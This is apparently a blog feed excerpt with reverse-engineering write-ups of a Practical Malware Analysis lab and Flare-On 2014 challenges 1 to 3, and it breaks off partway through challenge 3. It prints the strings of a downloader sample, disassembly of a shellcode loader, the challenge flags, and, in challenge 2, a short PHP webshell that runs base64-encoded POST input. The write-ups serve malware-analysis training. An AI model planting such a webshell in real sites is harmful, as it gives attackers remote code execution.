emulating function 0x401701 (call 1/1): 100%|████████████████████████████████████████████████| 8/8 [00:00&amp;lt;00:00, 46.70 functions/s]
INFO: floss: finished execution after 4.77 seconds
INFO: floss: rendering results


FLARE FLOSS RESULTS (version v3.1.1-0-g3cd3ee6)

+------------------------+------------------------------------------------------------------------------------+
| file path              | Lab01-04.exe                                                                       |
| identified language    | unknown                                                                            |
| extracted strings      |                                                                                    |
|  static strings        | 114 (1210 characters)                                                              |
|   language strings     |   0 (   0 characters)                                                              |
|  stack strings         | 0                                                                                  |
|  tight strings         | 0                                                                                  |
|  decoded strings       | 0                                                                                  |
+------------------------+------------------------------------------------------------------------------------+


 ────────────────────────────
  FLOSS STATIC STRINGS (114)
 ────────────────────────────

+-----------------------------------+
| FLOSS STATIC STRINGS: ASCII (114) |
+-----------------------------------+

!This program cannot be run in DOS mode.
Rich
.
.
.
CloseHandle
OpenProcess
GetCurrentProcess
CreateRemoteThread
GetProcAddress
LoadLibraryA
WinExec
WriteFile
CreateFileA
SizeofResource
LoadResource
FindResourceA
GetModuleHandleA
GetWindowsDirectoryA
MoveFileA
GetTempPathA
KERNEL32.dll
AdjustTokenPrivileges
LookupPrivilegeValueA
OpenProcessToken
ADVAPI32.dll
_snprintf
.
.
.
%s%s
\winup.exe
%s%s
!This program cannot be run in DOS mode.
Rich
.text
.
.
.
GetWindowsDirectoryA
WinExec
GetTempPathA
KERNEL32.dll
URLDownloadToFileA
urlmon.dll
.
.
.
\winup.exe
%s%s
\system32\wupdmgrd.exe
%s%s
http://www.practicalmalwareanalysis.com/updater.exe

+------------------------------------+
| FLOSS STATIC STRINGS: UTF-16LE (0) |
+------------------------------------+

 ─────────────────────────
  FLOSS STACK STRINGS (0)
 ─────────────────────────

 ─────────────────────────
  FLOSS TIGHT STRINGS (0)
 ─────────────────────────

 ───────────────────────────
  FLOSS DECODED STRINGS (0)
 ───────────────────────────
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;6. This file has one resource in the resource section. Use Resource Hacker to examine that resource, and then use it to extract the resource. What can you learn from the resource?&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;In &lt;code&gt;PEstudio&lt;/code&gt;, if we inspect resource of this file we can see that it has another exe embedded so we can carve it.&lt;/li&gt;
&lt;li&gt;By saving this as a binary (executable) file, we can then run using &lt;code&gt;pecli&lt;/code&gt; and see this is the file which not only contains the &lt;code&gt;winexec&lt;/code&gt; imported function of &lt;code&gt;kernel32.dll&lt;/code&gt;, but also the &lt;code&gt;URLDownloadToFile&lt;/code&gt; function of &lt;code&gt;URLMON.DLL&lt;/code&gt; which indicates it will likely download and execute a file.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;┌──(b14cky㉿DESKTOP-VRSQRAJ)-[~/~]
└─$ file Lab01-04_res.exe

Lab01-04_res.exe: PE32 executable for MS Windows 4.00 (GUI), Intel i386, 3 sections
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;┌──(b14cky㉿DESKTOP-VRSQRAJ)-[~/]
└─$ pecli info Lab01-04_res.exe

Imports
================================================================================
...
urlmon.dll
        0x40204c URLDownloadToFileA
...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260202125985.png&quot; alt=&quot;Pasted image 20260202125985.png&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>Flare-On 2014 Jan 2026</title><link>https://fuwari.vercel.app/posts/flare-on-2014/notes/</link><guid isPermaLink="true">https://fuwari.vercel.app/posts/flare-on-2014/notes/</guid><description>Writeup of Flare-On 2014.</description><pubDate>Sun, 18 Jan 2026 00:00:00 GMT</pubDate><content:encoded>&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Category: Malware Analysis and Reverse Engineering&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Difficulty: Easy/Medium/Hard&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;File:- &lt;a href=&quot;/uploads/Flare-On/2014_FLAREOn_Challenges.zip&quot;&gt;2014_FLAREOn_Challenges.zip&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;Challenge 1 - Bob Doge&lt;/h1&gt;
&lt;h2&gt;Stage 1 Extracting CAB File&lt;/h2&gt;
&lt;h3&gt;Initial Triage&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;File Type: PE32+ executable for MS Windows 5.02 (GUI), x86-64, 6 sections&lt;/li&gt;
&lt;li&gt;Size: 279 KB&lt;/li&gt;
&lt;li&gt;SHA256: f8aac4d0cccabd11d7b10d63dc2acc451ea832077650971d3c66834861162981&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Basic Static Analysis:&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Detect it Easy (Die) show that this file is &lt;strong&gt;self-extracted CAB/SFX style packing&lt;/strong&gt;, where the executable includes a compressed Microsoft Cabinet file (CAB) and extracts/executes it at runtime and it is just a &lt;strong&gt;wrapper/loader&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;The &lt;code&gt;.rsrc&lt;/code&gt; section is compressed, which is why the tool flags &lt;strong&gt;high entropy&lt;/strong&gt;, classic sign of packing or encryption.&lt;/li&gt;
&lt;li&gt;Compression algorithm used inside the CAB is &lt;strong&gt;LZX&lt;/strong&gt; (as shown), which is common in Microsoft CAB archives.&lt;/li&gt;
&lt;li&gt;So we have to first extract the actual exe from this and analyze it,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260118140836.png&quot; alt=&quot;Pasted image 20260118140836.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260118141726.png&quot; alt=&quot;Pasted image 20260118141726.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;We can extract it using &lt;a href=&quot;https://www.cabextract.org.uk/&quot;&gt;cabextract&lt;/a&gt; tool, and it will written in &lt;code&gt;Challenge1.exe&lt;/code&gt; file,&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;┌──(b14cky㉿DESKTOP-VRSQRAJ)-[/]
└─$ cabextract C1.exe.defused
Extracting cabinet: C1.exe.defused
  extracting Challenge1.exe

All done, no errors.
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Stage 2 Analysis of .NET Sample&lt;/h2&gt;
&lt;h3&gt;Initial Triage&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;File Type: PE32 executable for MS Windows 4.00 (GUI), Intel i386 Mono/.Net assembly, 3 sections&lt;/li&gt;
&lt;li&gt;Size: 118 KB&lt;/li&gt;
&lt;li&gt;SHA256: c1b55c829a8420fa41e7a31344b6427045cea288458fe1c0f32cae47b2e812f2&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Basic Static Analysis:&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Detect it Easy (Die) show that this file is &lt;code&gt;.NET&lt;/code&gt; binary written in &lt;code&gt;C#&lt;/code&gt; using visual studio.&lt;/li&gt;
&lt;li&gt;Also &lt;code&gt;.text&lt;/code&gt; is packed as per die because it show high entropy in it.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260118142239.png&quot; alt=&quot;Pasted image 20260118142239.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260118142850.png&quot; alt=&quot;Pasted image 20260118142850.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;We know that this code compiles to &lt;strong&gt;Microsoft Intermediate Language (MSIL or IL)&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;IL is a &lt;strong&gt;human-readable, high-level assembly-like language&lt;/strong&gt;, not raw CPU instructions.&lt;/li&gt;
&lt;li&gt;So we can read it using tools such as &lt;code&gt;dnSpy&lt;/code&gt;, &lt;code&gt;Dotpeek&lt;/code&gt; etc.&lt;/li&gt;
&lt;li&gt;here is the example of IL,&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;.method public hidebysig static void Main() cil managed
{
    .entrypoint
    ldstr &quot;Hello, world!&quot;
    call void [mscorlib]System.Console::WriteLine(string)
    ret
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Code Analysis&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260118143113.png&quot; alt=&quot;Pasted image 20260118143113.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;I used &lt;code&gt;dnSpy&lt;/code&gt; for this analysis,&lt;/li&gt;
&lt;li&gt;In &lt;code&gt;Resources&lt;/code&gt; i found something phishy which is &lt;code&gt;rev_challenge_1.dat_secret.encode&lt;/code&gt; so i saved it and it looks like encrypted data,&lt;/li&gt;
&lt;li&gt;Also some cool memes 😂,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260118143314.png&quot; alt=&quot;Pasted image 20260118143314.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260118143648.png&quot; alt=&quot;Pasted image 20260118143648.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Now Let&apos;s dive into actual code, so typically we start with &lt;code&gt;main&lt;/code&gt; function in &lt;code&gt;Program&lt;/code&gt; section,&lt;/li&gt;
&lt;li&gt;This code just &lt;strong&gt;starts a Windows Forms GUI app and opens Form1&lt;/strong&gt; so &lt;code&gt;Form1&lt;/code&gt; is the one we had to go,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260118143831.png&quot; alt=&quot;Pasted image 20260118143831.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Immediately we see one function &lt;code&gt;btnDecode_Click&lt;/code&gt; which do some kind of math or crypto stuff, and it is loading that &lt;code&gt;rev_challenge_1.dat_secret.encode&lt;/code&gt; file as input.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260118144043.png&quot; alt=&quot;Pasted image 20260118144043.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;At first glance, honestly, I can&apos;t understand this code, so I take help from our friend GPT to explain it to me, and here is what I understand,&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;0xa1 0xb5 0x44        (original)
0x1a 0x5b 0x44        (swap hex digits)
(0x1a ^ 0x29) (0x5b ^ 0x29) (0x44 ^ 0x29) → 0x33 0x72 0x6d
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Flag Extraction&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;So i load this input file into &lt;code&gt;CyberChef&lt;/code&gt; and apply all the necessary filters and features to get decrypted result and here it is,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260118145903.png&quot; alt=&quot;Pasted image 20260118145903.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Here is out flag,&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt; 3rmahg3rd.b0b.d0ge@flare-on.com
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Here is recipe of this,&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;[
  { &quot;op&quot;: &quot;To Hex&quot;,
    &quot;args&quot;: [&quot;Space&quot;, 0] },
  { &quot;op&quot;: &quot;Remove whitespace&quot;,
    &quot;args&quot;: [true, true, true, true, true, false] },
  { &quot;op&quot;: &quot;Find / Replace&quot;,
    &quot;args&quot;: [{ &quot;option&quot;: &quot;Regex&quot;, &quot;string&quot;: &quot;([0-9a-fA-F])([0-9a-fA-F])&quot; }, &quot;$2$1&quot;, true, false, true, false] },
  { &quot;op&quot;: &quot;Remove whitespace&quot;,
    &quot;args&quot;: [true, true, true, true, true, false] },
  { &quot;op&quot;: &quot;From Hex&quot;,
    &quot;args&quot;: [&quot;Auto&quot;] },
  { &quot;op&quot;: &quot;XOR&quot;,
    &quot;args&quot;: [{ &quot;option&quot;: &quot;Decimal&quot;, &quot;string&quot;: &quot;41&quot; }, &quot;Standard&quot;, false] }
]
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Here is the similar py script for doing this same task,&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3
&quot;&quot;&quot;
Replicates CyberChef operations:
1. From Hexdump
2. To Hex (space delimited)
3. Remove whitespace
4. Find/Replace (swap hex digit pairs)
5. Remove whitespace
6. From Hex
7. XOR with 41 (decimal)
&quot;&quot;&quot;

import re
import sys

def from_hexdump(data):
    &quot;&quot;&quot;Extract hex bytes from hexdump format&quot;&quot;&quot;
    lines = data.strip().split(&apos;\n&apos;)
    hex_bytes = []
    
    for line in lines:
        # Remove offset and ASCII representation, keep only hex bytes
        parts = line.split()
        for part in parts:
            # Skip offset (contains colon) and non-hex parts
            if &apos;:&apos; in part or not all(c in &apos;0123456789abcdefABCDEF&apos; for c in part):
                continue
            # Add hex bytes (typically 2 chars each)
            for i in range(0, len(part), 2):
                if i + 1 &amp;lt; len(part):
                    hex_bytes.append(part[i:i+2])
    
    return bytes.fromhex(&apos;&apos;.join(hex_bytes))

def to_hex_space(data):
    &quot;&quot;&quot;Convert bytes to space-separated hex&quot;&quot;&quot;
    return &apos; &apos;.join(f&apos;{b:02x}&apos; for b in data)

def remove_whitespace(text):
    &quot;&quot;&quot;Remove all whitespace&quot;&quot;&quot;
    return re.sub(r&apos;\s+&apos;, &apos;&apos;, text)

def swap_hex_pairs(text):
    &quot;&quot;&quot;Swap each pair of hex digits: AB -&amp;gt; BA&quot;&quot;&quot;
    return re.sub(r&apos;([0-9a-fA-F])([0-9a-fA-F])&apos;, r&apos;\2\1&apos;, text)

def from_hex(hex_string):
    &quot;&quot;&quot;Convert hex string to bytes&quot;&quot;&quot;
    return bytes.fromhex(hex_string)

def xor_decrypt(data, key):
    &quot;&quot;&quot;XOR each byte with the key&quot;&quot;&quot;
    return bytes(b ^ key for b in data)

def main():
    input_file = &apos;rev_challenge_1.dat_secret.encode&apos;
    
    try:
        # Read input file in binary mode
        with open(input_file, &apos;rb&apos;) as f:
            data = f.read()
        
        print(f&quot;[+] Reading from {input_file}&quot;)
        
        # Step 1: From Hexdump - skip this step, data is already binary
        print(&quot;[+] Step 1: Using binary data directly&quot;)
        step1 = data
        
        # Step 2: To Hex (space delimited)
        print(&quot;[+] Step 2: To Hex (space delimited)&quot;)
        step2 = to_hex_space(step1)
        
        # Step 3: Remove whitespace
        print(&quot;[+] Step 3: Remove whitespace&quot;)
        step3 = remove_whitespace(step2)
        
        # Step 4: Find/Replace - swap hex digit pairs
        print(&quot;[+] Step 4: Swap hex digit pairs&quot;)
        step4 = swap_hex_pairs(step3)
        
        # Step 5: Remove whitespace (again)
        print(&quot;[+] Step 5: Remove whitespace&quot;)
        step5 = remove_whitespace(step4)
        
        # Step 6: From Hex
        print(&quot;[+] Step 6: From Hex&quot;)
        step6 = from_hex(step5)
        
        # Step 7: XOR with 41 (decimal)
        print(&quot;[+] Step 7: XOR with 41&quot;)
        result = xor_decrypt(step6, 41)
        
        # Output result
        print(&quot;\n&quot; + &quot;=&quot;*60)
        print(&quot;DECODED OUTPUT:&quot;)
        print(&quot;=&quot;*60)
        try:
            print(result.decode(&apos;utf-8&apos;, errors=&apos;replace&apos;))
        except:
            print(result)
        print(&quot;=&quot;*60)
        
        # Save to file
        output_file = &apos;decoded_output.txt&apos;
        with open(output_file, &apos;wb&apos;) as f:
            f.write(result)
        print(f&quot;\n[+] Output saved to {output_file}&quot;)
        
    except FileNotFoundError:
        print(f&quot;[!] Error: File &apos;{input_file}&apos; not found&quot;)
        print(f&quot;[!] Please ensure the file exists in the current directory&quot;)
        sys.exit(1)
    except Exception as e:
        print(f&quot;[!] Error: {e}&quot;)
        import traceback
        traceback.print_exc()
        sys.exit(1)

if __name__ == &apos;__main__&apos;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Challenge 2: Javascrap&lt;/h1&gt;
&lt;h2&gt;Stage 0 Character Table Construction&lt;/h2&gt;
&lt;h3&gt;Initial Triage&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Challenge Type: Reverse-Engineering / Web / Obfuscated Code&lt;/li&gt;
&lt;li&gt;Files Provided:
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;home.html&lt;/code&gt;
&lt;ul&gt;
&lt;li&gt;File Type: home.html: HTML document, Unicode text, UTF-8 text, with very long lines (1428), with CRLF line terminators&lt;/li&gt;
&lt;li&gt;Size: 8.17 KB&lt;/li&gt;
&lt;li&gt;SHA256: d1b235e49336c2e510100bd3ffa3113d9c757ffb4829e9564597dbab8338b710&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;img/flare-on.png&lt;/code&gt; (PNG image)
&lt;ul&gt;
&lt;li&gt;File Type: img/flare-on.png: PNG image data, 400 x 79, 8-bit/color RGBA, non-interlaced&lt;/li&gt;
&lt;li&gt;Size: 9.33 KB&lt;/li&gt;
&lt;li&gt;SHA256: 87528d13f40b51b6de90124fb92bcbc38a54e5241cd7ef969208c0707ed893dd&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Basic Static Analysis:&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;The PNG is being &lt;strong&gt;included as PHP code&lt;/strong&gt; via an &lt;code&gt;include&lt;/code&gt; in the HTML page: i.e., the challenge hides a PHP script inside what looks like an image.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260119201225.png&quot; alt=&quot;Pasted image 20260119201225.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Performing strings on &lt;code&gt;flare-on.png&lt;/code&gt; reveals appended PHP source code instead of pure image data.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260119201531.png&quot; alt=&quot;Pasted image 20260119201531.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The appended PHP contains two large arrays: &lt;code&gt;$terms&lt;/code&gt; and &lt;code&gt;$order&lt;/code&gt;, and a reconstruction loop that builds a second PHP script dynamically.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Stage 1: Obfuscation Decoding&lt;/h2&gt;
&lt;h3&gt;1: Character Table Reconstruction&lt;/h3&gt;
&lt;p&gt;The embedded PHP begins:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260119202546.png&quot; alt=&quot;Pasted image 20260119202546.png&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$terms = array(&quot;M&quot;,&quot;Z&quot;,&quot;]&quot;,&quot;p&quot;,...,&quot;|&quot;);
$order = array(59,71,73,13,...,47);
$do_me=&quot;&quot;;
for($i=0;$i&amp;lt;count($order);$i++){
    $do_me=$do_me.$terms[$order[$i]];
}
print($do_me);
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;$terms&lt;/code&gt; is a &lt;strong&gt;custom character lookup table&lt;/strong&gt; - each entry is a single character.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;$order&lt;/code&gt; is a list of integers, each an index into &lt;code&gt;$terms&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;The loop concatenates &lt;code&gt;$terms[$order[i]]&lt;/code&gt; to form a complete PHP script string in &lt;code&gt;$do_me&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Instead of running &lt;code&gt;eval()&lt;/code&gt; immediately, you can replace it with &lt;code&gt;print&lt;/code&gt; to &lt;strong&gt;dump the generated code&lt;/strong&gt; for analysis.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Stage 2: Second-Layer Decoding&lt;/h2&gt;
&lt;p&gt;After reconstructing the inner PHP, the output looks like:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260119202723.png&quot; alt=&quot;Pasted image 20260119202723.png&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$_  = &apos;aWYoaXNzZXQoJF9QT1NUWyJcOTdcNDlc ...&apos;;
$__ = &apos;JGNvZGU9YmFzZTY0X2RlY29kZSgkXyk7ZXZhbCgkY29kZSk7&apos;;
$___ = &quot;\x62\141\x73\145\x36\64\x5f\144\x65\143\x6f\144\x65&quot;;
eval($___($__));
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;$_&lt;/code&gt; and &lt;code&gt;$__&lt;/code&gt; are &lt;strong&gt;Base64-encoded&lt;/strong&gt; strings.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;$___&lt;/code&gt; is obfuscated with &lt;strong&gt;hex escape sequences&lt;/strong&gt; representing the string &lt;code&gt;base64_decode&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;eval($___($__))&lt;/code&gt; resolves to:&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;$code = base64_decode($_);
eval($code);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This decodes the next stage of the script and executes it.&lt;/p&gt;
&lt;h2&gt;Stage 3: Escaped Payload Interpretation&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260119202813.png&quot; alt=&quot;Pasted image 20260119202813.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The inner decoded PHP is:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;if (isset($_POST[&quot;\97\49\49\68\x4F\84\116\x68\97\x74\x44\x4F...&quot;])){
    eval(base64_decode($_POST[&quot;\97\49\x31\68\x4F\x54\116\104...&quot;]));
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;The &lt;code&gt;$_POST&lt;/code&gt; key names are obfuscated using a &lt;strong&gt;mix of octal (&lt;code&gt;\NNN&lt;/code&gt;) and hex (&lt;code&gt;\xNN&lt;/code&gt;) escapes&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;To understand the actual identifier, all escape sequences must be converted into ASCII.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Stage 4: Normalization and Flag Extraction&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260119202842.png&quot; alt=&quot;Pasted image 20260119202842.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The decoded sequence:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;a11DOTthatDOTjava5crapATflareDASHonDOTcom
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;comes from interpreting those escape sequences as numbers and converting them to characters.&lt;br /&gt;
Replace placeholder tokens:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;DOT&lt;/code&gt; → &lt;code&gt;.&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;AT&lt;/code&gt; → &lt;code&gt;@&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;DASH&lt;/code&gt; → &lt;code&gt;-&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Final flag:&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;a11.that.java5crap@flare-on.com
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Final Behavior&lt;/h2&gt;
&lt;p&gt;The decoded PHP callback becomes:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;if (isset($_POST[&quot;a11.that.java5crap@flare-on.com&quot;])) {
    eval(base64_decode($_POST[&quot;a11.that.java5crap@flare-on.com&quot;]));
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;This is a &lt;strong&gt;simple PHP webshell&lt;/strong&gt; that executes Base64-encoded PHP from an HTTP POST field if sent under the correct key.&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;Challenge 3:&lt;/h1&gt;
&lt;h2&gt;Stage 1 Extracting Shellcode from Wrapper EXE&lt;/h2&gt;
&lt;h3&gt;Initial Triage&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;File Type: PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows&lt;/li&gt;
&lt;li&gt;Size: 7 KB&lt;/li&gt;
&lt;li&gt;SHA256: 4ab2023b2f34c8c49ffd15a051b46b6be13cb84775142ec85403a08c0d846c72&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Basic Static Analysis&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Detect it Easy (Die) show that this file is &lt;strong&gt;C Compiled File&lt;/strong&gt;, and &lt;code&gt;Tiny C&lt;/code&gt; compiler was used to compile it, also it can be stripped as per file command results.&lt;/li&gt;
&lt;li&gt;In Entropy section we can see that there is only 2 section which is &lt;code&gt;.text&lt;/code&gt; and &lt;code&gt;.data&lt;/code&gt;,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260121104440.png&quot; alt=&quot;Pasted image 20260121104440.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260121104830.png&quot; alt=&quot;Pasted image 20260121104830.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;PEStudio Shows that most of data is on &lt;code&gt;.text&lt;/code&gt; section and raw-size is &lt;code&gt;6144 bytes&lt;/code&gt;,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260121105229.png&quot; alt=&quot;Pasted image 20260121105229.png&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Advance Static Analysis&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;I have used IDA Free to do disassemble the exe file,
&lt;ul&gt;
&lt;li&gt;In that i opened &lt;code&gt;start&lt;/code&gt; function which has some interesting functions and particularly this &lt;code&gt;sub_401000&lt;/code&gt;,&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260121105432.png&quot; alt=&quot;Pasted image 20260121105432.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;In this &lt;code&gt;sub_401000&lt;/code&gt; function, there are multiple bytes which are being pushed into stack and at the end it being called using this instruction,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260121110122.png&quot; alt=&quot;Pasted image 20260121110122.png&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.text:00401000 ; int __cdecl sub_401000(_DWORD, _DWORD, _DWORD)
.text:00401000 sub_401000      proc near               ; CODE XREF: start+6A↓p
.text:00401000
.text:00401000 var_201         = byte ptr -201h
.text:00401000 var_200         = byte ptr -200h
...
.text:00401000                 push    ebp
.text:00401001                 mov     ebp, esp
.text:00401003                 sub     esp, 204h
.text:00401009                 nop
.text:0040100A                 mov     eax, 0E8h
.text:0040100F                 mov     [ebp+var_201], al
.text:00401015                 mov     eax, 0
.text:0040101A                 mov     [ebp+var_200], al
...
.text:00402492                 mov     [ebp+var_1], al
.text:00402495                 lea     eax, [ebp+var_201]
.text:0040249B                 call    eax
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;It means it means it can &lt;code&gt;shellcode&lt;/code&gt; because &lt;code&gt;0E8h&lt;/code&gt; is being pushed, it means &lt;code&gt;call target&lt;/code&gt;,&lt;/li&gt;
&lt;li&gt;but why this importent,
&lt;ul&gt;
&lt;li&gt;Shellcode has a huge problem: &lt;strong&gt;It does NOT know its own address&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;it can be placed anywhere in memory&lt;/li&gt;
&lt;li&gt;no imports&lt;/li&gt;
&lt;li&gt;no fixed base&lt;/li&gt;
&lt;li&gt;no PE headers&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Advanced Dynamic Analysis&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;So to extract the shellcode we will use &lt;code&gt;x32dbg&lt;/code&gt; because we have 32 bit binary and put a breakpoint in this particular &lt;code&gt;0040249B&lt;/code&gt; offset which is &lt;code&gt;call eax&lt;/code&gt; so we will dump &lt;code&gt;EAX&lt;/code&gt; into memory and carve it and move further.&lt;/li&gt;
&lt;li&gt;But first we land in &lt;code&gt;entry point&lt;/code&gt; of program,&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;004024C0 | 55                       | push ebp                                
004024C1 | 89E5                     | mov ebp,esp                             
004024C3 | 81EC 2C000000            | sub esp,2C                              
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260121111145.png&quot; alt=&quot;Pasted image 20260121111145.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
